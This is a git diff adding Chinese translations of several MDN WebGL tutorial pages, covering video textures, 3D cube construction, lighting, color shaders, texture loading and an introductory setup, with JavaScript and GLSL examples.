首先,我们创建一个视频元素。我们将其设置为自动播放,静音和循环播放视频。然后,我们设置了两个事件以确保视频正在播放并且时间轴已更新。我们需要进行这两项检查,因为如果将视频上传到WebGL尚无可用数据,它将产生错误。检查这两个事件可确保有可用数据,并且可以安全地开始将视频上传到WebGL纹理。在上面的代码中,我们确认是否同时发生了这两个事件。如果是这样,我们将全局变量设置  copyVideo为true,以表示可以安全地开始将视频复制到纹理。

+ +

最后,我们将src属性设置为start并调用play 以开始加载和播放视频。

+ +

用视频帧作为纹理 

+ +

接下来的更改是initTexture(),它变得更加简单,因为它不再需要加载图像文件。相反,它所做的只是创建一个空的纹理对象,在其中放置一个像素,然后设置其过滤条件供以后使用:

+ +
function initTexture(gl) {
+  const texture = gl.createTexture();
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+
+  // Because video has to be download over the internet
+  // they might take a moment until it's ready so
+  // put a single pixel in the texture so we can
+  // use it immediately.
+  const level = 0;
+  const internalFormat = gl.RGBA;
+  const width = 1;
+  const height = 1;
+  const border = 0;
+  const srcFormat = gl.RGBA;
+  const srcType = gl.UNSIGNED_BYTE;
+  const pixel = new Uint8Array([0, 0, 255, 255]);  // opaque blue
+  gl.texImage2D(gl.TEXTURE_2D, level, internalFormat,
+                width, height, border, srcFormat, srcType,
+                pixel);
+
+  // Turn off mips and set  wrapping to clamp to edge so it
+  // will work regardless of the dimensions of the video.
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+
+  return texture;
+}
+ +
这里是updateTexture() 方法; 这是完成实际工作的地方:
+ +
function updateTexture(gl, texture, video) {
+  const level = 0;
+  const internalFormat = gl.RGBA;
+  const srcFormat = gl.RGBA;
+  const srcType = gl.UNSIGNED_BYTE;
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+  gl.texImage2D(gl.TEXTURE_2D, level, internalFormat,
+                srcFormat, srcType, video);
+}
+ +

您之前已经看过此代码。它与上一个示例中的image onload函数几乎相同-除非我们调用texImage2D(),而不是传递Image对象,而是传递{{ HTMLElement("video") }}元素。WebGL知道如何拉出当前帧并将其用作纹理。

+ +

然后,在main() 代替通话,以loadTexture()在前面的例子中,我们调用   initTexture()之后setupVideo()

+ +

render()if是否copyVideo为真的定义中,则  updateTexture()每次调用drawScene() 函数之前都会调用一次  

+ +
  const texture = initTexture(gl);
+
+  const video = setupVideo('Firefox.mp4');
+
+  var then = 0;
+
+  // Draw the scene repeatedly
+  function render(now) {
+    now *= 0.001;  // convert to seconds
+    const deltaTime = now - then;
+    then = now;
+
+    if (copyVideo) {
+      updateTexture(gl, texture, video);
+    }
+
+    drawScene(gl, programInfo, buffers, texture, deltaTime);
+
+    requestAnimationFrame(render);
+  }
+  requestAnimationFrame(render);
+ +

下面是结果:

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample8/index.html', 670, 510) }}

+ +

查看完整的代码 | 在新页中打开这个demo

+ +

参考

+ + + +

{{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

diff --git a/files/zh-cn/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html b/files/zh-cn/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html new file mode 100644 index 0000000000..88e1bf75e7 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html @@ -0,0 +1,128 @@ +--- +title: Creating 3D objects using WebGL +slug: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL +translation_of: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}

+ +

现在让我们给之前的正方形添加五个面从而可以创建一个三维的立方体。最简单的方式就是通过调用方法 {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} 使用顶点数组列表来替换之前的通过方法{{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} 直接使用顶点数组。而顶点数组列表里保存着将会被引用到一个个独立的顶点。

+ +

其实现在会存在这样一个问题:每个面需要4个顶点,而每个顶点会被3个面共享。我们会创建一个包含24个顶点的数组列表,通过使用数组下标来索引顶点,然后把这些用于索引的下标传递给渲染程序而不是直接把整个顶点数据传递过去,这样来减少数据传递。那么也许你就会问:那么使用8个顶点就好了,为什么要使用24个顶点呢?这是因为每个顶点虽然被3个面共享但是它在每个面上需要使用不同的颜色信息。24个顶点中的每一个都会有独立的颜色信息,这就会造成每个顶点位置都会有3份副本。

+ +

定义立方体顶点位置

+ +

首先,更新 initBuffers() 函数代码创建顶点位置数据缓存。现在的代码看起来和渲染正方形时的代码很相似,只是比之前的代码更长因为现在有了24个顶点(每个面使用4个顶点):

+ +
var vertices = [
+  // Front face
+  -1.0, -1.0,  1.0,
+   1.0, -1.0,  1.0,
+   1.0,  1.0,  1.0,
+  -1.0,  1.0,  1.0,
+
+  // Back face
+  -1.0, -1.0, -1.0,
+  -1.0,  1.0, -1.0,
+   1.0,  1.0, -1.0,
+   1.0, -1.0, -1.0,
+
+  // Top face
+  -1.0,  1.0, -1.0,
+  -1.0,  1.0,  1.0,
+   1.0,  1.0,  1.0,
+   1.0,  1.0, -1.0,
+
+  // Bottom face
+  -1.0, -1.0, -1.0,
+   1.0, -1.0, -1.0,
+   1.0, -1.0,  1.0,
+  -1.0, -1.0,  1.0,
+
+  // Right face
+   1.0, -1.0, -1.0,
+   1.0,  1.0, -1.0,
+   1.0,  1.0,  1.0,
+   1.0, -1.0,  1.0,
+
+  // Left face
+  -1.0, -1.0, -1.0,
+  -1.0, -1.0,  1.0,
+  -1.0,  1.0,  1.0,
+  -1.0,  1.0, -1.0
+];
+
+ +

定义顶点颜色

+ +

然后我们还要为每个顶点定义颜色。下面的代码首先为每个面定义颜色,然后用一个循环语句为每个顶点定义颜色信息。

+ +
var colors = [
+  [1.0,  1.0,  1.0,  1.0],    // Front face: white
+  [1.0,  0.0,  0.0,  1.0],    // Back face: red
+  [0.0,  1.0,  0.0,  1.0],    // Top face: green
+  [0.0,  0.0,  1.0,  1.0],    // Bottom face: blue
+  [1.0,  1.0,  0.0,  1.0],    // Right face: yellow
+  [1.0,  0.0,  1.0,  1.0]     // Left face: purple
+];
+
+var generatedColors = [];
+
+for (j=0; j<6; j++) {
+  var c = colors[j];
+
+  for (var i=0; i<4; i++) {
+    generatedColors = generatedColors.concat(c);
+  }
+}
+
+var cubeVerticesColorBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesColorBuffer);
+gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(generatedColors), gl.STATIC_DRAW);
+
+ +

定义元素(三角形)数组

+ +

既然已经创建好了顶点数组,接下来就要创建元素(三角形)数组了。

+ +
var cubeVerticesIndexBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+
+// This array defines each face as two triangles, using the
+// indices into the vertex array to specify each triangle's
+// position.
+
+var cubeVertexIndices = [
+  0,  1,  2,      0,  2,  3,    // front
+  4,  5,  6,      4,  6,  7,    // back
+  8,  9,  10,     8,  10, 11,   // top
+  12, 13, 14,     12, 14, 15,   // bottom
+  16, 17, 18,     16, 18, 19,   // right
+  20, 21, 22,     20, 22, 23    // left
+];
+
+// Now send the element array to GL
+
+gl.bufferData(gl.ELEMENT_ARRAY_BUFFER,
+    new Uint16Array(cubeVertexIndices), gl.STATIC_DRAW);
+
+ +

代码中的 cubeVertexIndices 数组声明每一个面都使用两个三角形来渲染。通过立方体顶点数组的索引指定每个三角形的顶点。那么这个立方体就是由12个三角形组成的了。

+ +

渲染立方体

+ +

接下来就需要在 drawScene() 函数里添加代码使用立方体顶点索引数据来渲染这个立方体了。代码里添加了对 {{domxref("WebGLRenderingContext.bindBuffer()", "gl.bindBuffer()")}} 和 {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}的调用:

+ +
gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+setMatrixUniforms();
+gl.drawElements(gl.TRIANGLES, 36, gl.UNSIGNED_SHORT, 0);
+
+ +

立方体的每个面都由2个三角形组成,那就是每个面需要6个顶点,或者说总共36个顶点,尽管有许多重复的。然而,因为索引数组的每个元素都是简单的整数类型,所以每一帧动画需要传递给渲染程序的数据也不是很多。

+ +

到现在为止,我们已经创建了一个颜色生动的并且会在场景中移动和旋转的立方体,这一定很酷吧。

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample5/index.html', 670, 510) }}

+ +

查看全部源代码 | 在新页面打开示例

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}

diff --git a/files/zh-cn/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html b/files/zh-cn/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html new file mode 100644 index 0000000000..efbdc9fd7f --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html @@ -0,0 +1,70 @@ +--- +title: 初识 WebGL +slug: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL +tags: + - WebGL + - 教程 +translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}

+ +

WebGL 使得在支持HTML 的 canvas 标签的浏览器中,不需要安装任何插件,便可以使用基于 OpenGL ES 2.0 的 API 在 canvas 中进行2D和3D渲染。WebGL程序包括用 JavaScript 写的控制代码,以及在图形处理单元(GPU, Graphics Processing Unit)中执行的着色代码(GLSL,注:GLSL为OpenGL着色语言)。WebGL 元素可以和其他 HTML 元素混合使用,并且可以和网页其他部分或者网页背景结合起来。

+ +

本文将向您介绍 WebGL 的基本用法。此处假定您对三维图形方面的数学知识已经有一定的理解,本文也不会试图向您教授 3D图像概念本身。

+ +

本文的代码也可以在这里下载 webgl-examples GitHub repository 。

+ +

THREE.jsBABYLON.js等很多框架封装了WebGL,提供了各个平台之间的兼容性。使用这些框架而非原生的WebGL可以更容易地开发3D应用和游戏。

+ +

准备 3D 渲染

+ +

为了使用 WebGL 进行 3D 渲染,你首先需要一个 canvas 元素。下面的 HTML 片段用来建立一个 canvas 元素并设置一个 onload 事件处理程序来初始化我们的 WebGL 上下文 。

+ +
<body onload="main()">
+  <canvas id="glcanvas" width="640" height="480">
+    你的浏览器似乎不支持或者禁用了HTML5 <code>&lt;canvas&gt;</code> 元素.
+  </canvas>
+</body>
+
+ +

准备 WebGL 上下文

+ +

我们的 JavaScript 代码中的 main() 函数将会在文档加载完成之后被调用。它的任务是设置 WebGL 上下文并开始渲染内容。

+ +
// 从这里开始
+function main() {
+  const canvas = document.querySelector("#glcanvas");
+  // 初始化WebGL上下文
+  const gl = canvas.getContext("webgl");
+
+  // 确认WebGL支持性
+  if (!gl) {
+    alert("无法初始化WebGL,你的浏览器、操作系统或硬件等可能不支持WebGL。");
+    return;
+  }
+
+  // 使用完全不透明的黑色清除所有图像
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);
+  // 用上面指定的颜色清除缓冲区
+  gl.clear(gl.COLOR_BUFFER_BIT);
+}
+ +

我们所要做的第一件事就是是获取 canvas 的引用,把它保存在 ‘canvas’ 变量里。

+ +

当我们获取到 canvas之后,我们会调用getContext 函数并向它传递"webgl"参数,来尝试获取WebGLRenderingContext。如果浏览器不支持webgl,getContext将会返回null,我们就可以显示一条消息给用户然后退出。

+ +

如果WebGL上下文成功初始化,变量 ‘gl’ 会用来引用该上下文。在这个例子里,我们用黑色清除上下文内已有的元素。(用背景颜色重绘canvas)。

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample1/index.html', 670, 510) }}

+ +

看源码 | 看DEMO

+ +

参见

+ + + +

{{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}

diff --git a/files/zh-cn/web/api/webgl_api/tutorial/index.html b/files/zh-cn/web/api/webgl_api/tutorial/index.html new file mode 100644 index 0000000000..b73235a3d6 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/tutorial/index.html @@ -0,0 +1,41 @@ +--- +title: WebGL 教程 +slug: Web/API/WebGL_API/Tutorial +tags: + - WebGL + - 教程 + - 概览 +translation_of: Web/API/WebGL_API/Tutorial +--- +
{{WebGLSidebar}}
+ +
+

WebGL 使得网页在支持HTML {{HTMLElement("canvas")}} 标签的浏览器中,不需要使用任何插件,便可以使用基于 OpenGL ES 2.0 的 API 在 canvas 中进行3D渲染. WebGL 程序由javascript的控制代码,和在计算机的图形处理单元(GPU, Graphics Processing Unit)中执行的特效代码(shader code,渲染代码) 组成. WebGL 元素可以和其他HTML元素混合, 并且会和页面的其他部分或页面背景相合成.

+
+ +

此教程从基础开始讲解如何使用<canvas> 元素来画WebGL 图形. 提供的例子会让你对WebGL有更清晰的认识, 并且会提供代码片段方便你构建自己的内容.

+ +

开始之前

+ +

使用 <canvas> 元素并不困难,但你需要基本的 HTML 和 JavaScript 知识。一些老浏览器不支持<canvas> 元素和 WebGL,但所有最近的主流浏览器都支持它们.。为了能在canvas中绘制图形,我们使用Javascript的上下文环境(context)对象,此对象可以动态创建图形。

+ +

在本教程中

+ +
+
开始WebGL
+
如何设置WebGL上下文环境.
+
给WebGL的上下文环境添加2D内容
+
如何用WebGl渲染简单的平面化图形.
+
在WebGL中使用着色器(shader)去赋予颜色
+
演示如何使用着色器给图形添加颜色.
+
用WebGL让对象动起来
+
展示如何旋转移动物体来实现简单动画效果.
+
使用WebGL创建3D物体
+
展示如何创建并设置一个3D物体动画 (这里使用立方体).
+
在WebGL中使用纹理贴图(texture)
+
展示如何投射纹理贴图到物体的各个面.
+
WebGL中的灯光
+
如何在WebGL上下文环境中模拟灯光效果.
+
WebGL中的动画纹理贴图
+
展示如何让纹理贴图动起来; 在此例中, 会投射一个Ogg格式的视频在一个旋转立方体的各个面上.
+
diff --git a/files/zh-cn/web/api/webgl_api/tutorial/lighting_in_webgl/index.html b/files/zh-cn/web/api/webgl_api/tutorial/lighting_in_webgl/index.html new file mode 100644 index 0000000000..fcb6b665a1 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/tutorial/lighting_in_webgl/index.html @@ -0,0 +1,175 @@ +--- +title: Lighting in WebGL +slug: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL +translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}

+ +

在使用灯光之前,首先我们需要了解,与定义更广泛的OpenGL不同,WebGL并没有继承OpenGL中灯光的支持。所以你只能由自己完全得控制灯光。幸运得是,这也并不是很难,本文接下来就会介绍完成灯光的基础。

+ +

在3D空间中模拟现实灯光

+ +

在3D空间中模拟现实世界的灯光的具体原理和细节绝非本篇文章能够描述清楚的,但是对灯光模型有一定的了解对我们的学习还是很有帮助的。虽然这里没办法深入讲解,但是维基百科中的Phong着色法给出了一个不错的概要介绍,其中包含了最常用的几种光照模型。

+ +

光源类型可以概括成如下三种:

+ +

环境光 是一种可以渗透到场景的每一个角落的光。它是非方向光并且会均匀地照射物体的每一个面,无论这个面是朝向哪个方向的。

+ +

方向光 是一束从一个固定的方向照射过来的光。这种光的特点可以理解为好像是从一个很遥远的地方照射过来的,然后光线中的每一个光子与其它光子都是平行运动的。举个例子来说,阳光就可以认为是方向光。

+ +

点光源光 是指光线是从一个点发射出来的,是向着四面八方发射的。这种光在我们的现实生活中是最常被用到的。举个例子来说,电灯泡就是向各个方向发射光线的。

+ +

以我们的需要来看,我们会简化光照模型,只考虑简单的方向光和环境光,不会考虑任何镜面反射和点光源。这样的话,我们只需要在我们使用的环境光上加上照射到旋转立方体的方向光就可以了。在这里可以看到之前的旋转立方体的例子

+ +

虽然可以抛开了点光源和镜面反射,但是关于方向光还是有两点需要注意一下:

+ +
    +
  1. 需要在每个顶点信息中加入面的朝向法线。这个法线是一个垂直于这个顶点所在平面的向量。
  2. +
  3. 需要明确方向光的传播方向,可以使用一个方向向量来定义。
  4. +
+ +

接着,我们会更新顶点着色器,考虑到环境光,再考虑到方向光(方向光的作用会因为光线方向与面的夹角关系而不同),计算每一个顶点的颜色。实现这一目标的代码如下。

+ +

建立顶点法线

+ +

首先我们需要做的是建立一个数组来存放立方体所有顶点的法线。由于立方体是一个很简单的物体,所以很容易实现;显然如果是对复杂物体,则法线的计算方法需要更深入的研究。(注:译者调试后发现此处new WebGLFloatArray(...) 可能应该使用new Float32Array())

+ +
cubeVerticesNormalBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
+
+var vertexNormals = [
+  // Front
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+
+  // Back
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+
+  // Top
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+
+  // Bottom
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+
+  // Right
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+
+  // Left
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0
+];
+
+gl.bufferData(gl.ARRAY_BUFFER, new WebGLFloatArray(vertexNormals), gl.STATIC_DRAW);
+
+ +

现在我们应该对此非常熟悉了;创建新的buffer,将它和gl.ARRAR_BUFFER绑定在一起,然后通过调用bufferData()把我们的顶点法线数组一起传入。

+ +

然后我们在drawScene()中添加代码,将法线数组和着色器的attribute绑定起来以便着色器能够获取到法线数组的信息。

+ +

(此处变量 vertexNormalAttribute 应该在initShader()函数中声明, 并赋值: vertexNormalAttribute = gl.getAttribLocation(shaderProgram, "aVertexNormal"); gl.enableVertexAttribArray(vertexNormalAttribute);)

+ +
gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
+gl.vertexAttribPointer(vertexNormalAttribute, 3, gl.FLOAT, false, 0, 0);
+
+ +

最后,我们(为了读者便于理解, 此处代码应该在setMatrixUniforms() 函数中添加)需要更新下代码,在着色器中建立和传递法线向量矩阵,用这个矩阵来处理当前立方体相对于光源位置法线向量的转换(注:译者调试后发现此处new WebGLFloatArray(...) 应该使用new Float32Array()):

+ +
var normalMatrix = mvMatrix.inverse();
+normalMatrix = normalMatrix.transpose();
+var nUniform = gl.getUniformLocation(shaderProgram, "uNormalMatrix");
+gl.uniformMatrix4fv(nUniform, false, new WebGLFloatArray(normalMatrix.flatten()));
+
+ +

更新着色器

+ +

现在着色器需要的所有数据已经全部可以获取到了(或者说全部准备好了),我们需要更新下着色器本身的代码。

+ +

顶点着色器

+ +

首先更新顶点着色器,让它给每一个基于环境光和方向光的顶点一个着色器值。让我们看下代码:

+ +
<script id="shader-vs" type="x-shader/x-vertex">
+  attribute highp vec3 aVertexNormal;
+  attribute highp vec3 aVertexPosition;
+  attribute highp vec2 aTextureCoord;
+
+  uniform highp mat4 uNormalMatrix;
+  uniform highp mat4 uMVMatrix;
+  uniform highp mat4 uPMatrix;
+
+  varying highp vec2 vTextureCoord;
+  varying highp vec3 vLighting;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+    vTextureCoord = aTextureCoord;
+
+    // Apply lighting effect
+
+    highp vec3 ambientLight = vec3(0.6, 0.6, 0.6);
+    highp vec3 directionalLightColor = vec3(0.5, 0.5, 0.75);
+    highp vec3 directionalVector = vec3(0.85, 0.8, 0.75);
+
+    highp vec4 transformedNormal = uNormalMatrix * vec4(aVertexNormal, 1.0);
+
+    highp float directional = max(dot(transformedNormal.xyz, directionalVector), 0.0);
+    vLighting = ambientLight + (directionalLightColor * directional);
+  }
+</script>
+
+ +

一旦顶点位置计算完毕,我们就可以获得纹理对应于顶点的坐标,从而计算出顶点的阴影。

+ +

我们先根据立方体位置和朝向,通过顶点法线乘以法线矩阵来转换法线。接着我们可以通过计算转换过后的法线与方向向量(即,光来自的方向)的点积来计算得出顶点反射方向光的量。如果计算出的这个值小于0,则我们把值固定设为0,因为你不会有小于0的光。

+ +

当方向光的量计算完,我们可以通过获取环境光并且添加方向光的颜色和要提供的定向光的量来生成光照值(lighting value)。最终结果我们会得到一个RGB值,用于片段着色器调整我们渲染的每一个像素的颜色。

+ +

片段着色器

+ +

片段着色器现在需要根据顶点着色器计算出的光照值来更新:

+ +
<script id="shader-fs" type="x-shader/x-fragment">
+  varying highp vec2 vTextureCoord;
+  varying highp vec3 vLighting;
+
+  uniform sampler2D uSampler;
+
+  void main(void) {
+    mediump vec4 texelColor = texture2D(uSampler, vec2(vTextureCoord.s, vTextureCoord.t));
+
+    gl_FragColor = vec4(texelColor.rgb * vLighting, texelColor.a);
+  }
+</script>
+
+ +

和先前我们做的例子一样,我们获取纹理的颜色(原文“color of the texel”? 此处个人觉得应该就是指纹理的颜色),不同的是在设置片段颜色之前,我们将纹理的颜色乘以光照值来调整纹理以达到我们光源的效果。

+ +

效果就是这样!

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample7/index.html', 670, 510) }}

+ +

View the complete code | Open this demo on a new page

+ +

读者练习

+ +

显然这是一个很简单的例子,实现了基本的每个顶点的照明。对于更高级的图形,你将可能需要实现每个像素(或者说更多像素)的照明,但这会帮助你朝着正确的方向前行。

+ +

你也可以尝试光源方向颜色等等。

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}

diff --git a/files/zh-cn/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html b/files/zh-cn/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html new file mode 100644 index 0000000000..4f2c37046c --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html @@ -0,0 +1,117 @@ +--- +title: 使用着色器将颜色应用于WebGL +slug: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL +tags: + - WebGL + - 教程 +translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}

+ +

之前的展示中我们已经创建好了一个正方形,接下来我们要做的就是给它添加一抹色彩。添加颜色可以通过修改着色器来实现。

+ +

给顶点着色

+ +

在GL中,物体是由一系列顶点组成的,每一个顶点都有位置和颜色信息。在默认情况下,所有像素的颜色(以及它所有的属性,包括位置)都由线性插值计算得来,自动形成平滑的渐变。我们以前的顶点着色器没有给顶点添加任何特定的颜色——在顶点着色器与片段着色器之间给每个像素着白色,于是整个正方形被渲染成纯白。

+ +

现在我们假设正方形的每个顶点使用不同的颜色:红,黄,绿,白,以此渲染一个渐变的色彩。第一步,要给这些顶点建立相应的颜色。首先我们要创建一个顶点颜色数组,然后将它们存在WebGL的缓冲区中。为实现这一功能,我们在 initBuffers() 函数中加入如下代码:

+ +
initBuffers() {
+  const positionBuffer = gl.createBuffer();
+  const positions = [
+     1.0,  1.0,
+    -1.0,  1.0,
+     1.0, -1.0,
+    -1.0, -1.0,
+  ];
+  gl.bindBuffer(WebGLRenderingContext.ARRAY_BUFFER, positionBuffer);
+  gl.bufferData(WebGLRenderingContext.ARRAY_BUFFER,
+    new Float32Array(positions),
+    WebGLRenderingContext.STATIC_DRAW
+  );
+
+  const colorBuffer = gl.createBuffer();
+  const colors = [
+    1.0,  1.0,  1.0,  1.0,    // 白
+    1.0,  0.0,  0.0,  1.0,    // 红
+    0.0,  1.0,  0.0,  1.0,    // 绿
+    0.0,  0.0,  1.0,  1.0,    // 蓝
+  ];
+
+  gl.bindBuffer(WebGLRenderingContext.ARRAY_BUFFER, colorBuffer);
+  gl.bufferData(WebGLRenderingContext.ARRAY_BUFFER,
+    new Float32Array(colors),
+    WebGLRenderingContext.STATIC_DRAW
+  );
+
+  return {
+    position: positionBuffer,
+    color: colorBuffer,
+  };
+}
+ +

这段代码首先建立了一个JavaScript的数组,此数组中包含四组四值向量,每一组向量代表一个顶点的颜色。然后,创建一个WebGL缓冲区用来存储这些颜色——将数组中的值转换成WebGL所规定的浮点型后,存储在该缓冲区中。

+ +

为了实际使用这些颜色,我们继续修改顶点着色器,使得着色器可以从颜色缓冲区中正确取出颜色:

+ +
    <script id="shader-vs" type="x-shader/x-vertex">
+      attribute vec3 aVertexPosition;
+      attribute vec4 aVertexColor;
+
+      uniform mat4 uModelViewMatrix;
+      uniform mat4 uProjectionMatrix;
+
+      varying lowp vec4 vColor;
+
+      void main(void) {
+        gl_Position = uProjectionMatrix* uModelViewMatrix * vec4(aVertexPosition, 1.0);
+        vColor = aVertexColor;
+      }
+    </script>
+
+ +

与之前相比,这段代码的关键不同点在于:每个顶点都与一个颜色数组中的数值相连接。

+ +

给片段着色

+ +

我们先来复习一下之前构造的片段着色器:

+ +
    <script id="shader-fs" type="x-shader/x-fragment">
+      void main(void) {
+        gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+      }
+    </script>
+
+ +

为使每个像素都得到插值后的颜色,我们只需要在此从 vColor 变量中获取这个颜色的值:

+ +
    <script id="shader-fs" type="x-shader/x-fragment">
+    	varying lowp vec4 vColor;
+
+      void main(void) {
+        gl_FragColor = vColor;
+      }
+    </script>
+
+ +

这是一个非常简单的改变,每个片段只是根据其相对于顶点的位置得到一个插值过的颜色,而不是一个指定的颜色值。

+ +

带颜色的绘制

+ +

接下来,我们要在 initShader() 中初始化颜色属性,以便着色器程序使用

+ +
  vertexColorAttribute = gl.getAttribLocation(shaderProgram, "aVertexColor");
+  gl.enableVertexAttribArray(vertexColorAttribute);
+
+ +

然后,我们便可以修改 drawScene() 使之在绘制正方形时使用这些颜色:

+ +
  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer);
+  gl.vertexAttribPointer(vertexColorAttribute, 4, gl.FLOAT, false, 0, 0);
+
+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample3/index.html', 670, 510) }}

+ +

查看完整代码 | 在新页面中打开示例

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}

diff --git a/files/zh-cn/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html b/files/zh-cn/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html new file mode 100644 index 0000000000..07b3eb2042 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html @@ -0,0 +1,205 @@ +--- +title: Using textures in WebGL +slug: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL +translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

+ +

现在我们已经创建好了一个可以旋转的3D的立方体,接下来是时候使用贴图来代替每个面的单一的颜色了。

+ +

加载纹理

+ +

首先加入加载纹理的代码。现在我们只使用一张单一的纹理贴到立方体的6个面上,但是同样的方法可以用来加载任意数量的纹理贴图。

+ +
注意: 值得注意的一点是对纹理的加载同样需要遵循跨域访问规则;也就是说你只能从允许跨域访问的网址加载你需要的纹理。下面的例子就是支持跨域访问的。
+ +

加载纹理的代码如下:

+ +
function initTextures() {
+  cubeTexture = gl.createTexture();
+  cubeImage = new Image();
+  cubeImage.onload = function() { handleTextureLoaded(cubeImage, cubeTexture); }
+  cubeImage.src = "cubetexture.png";
+}
+
+function handleTextureLoaded(image, texture) {
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+  gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, image);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR_MIPMAP_NEAREST);
+  gl.generateMipmap(gl.TEXTURE_2D);
+  gl.bindTexture(gl.TEXTURE_2D, null);
+}
+
+ +

函数 initTextures() 首先调用 GL {{domxref("WebGLRenderingContext.createTexture()", "createTexture()")}} 函数来创建一个GL纹理对象 cubeTexture 。为了把图片文件加载到纹理,代码首先创建了一个 Image 对象然后把需要当作纹理使用的图形文件加载了进来。当图片加载完成后回调函数 handleTextureLoaded() 就会执行。

+ +

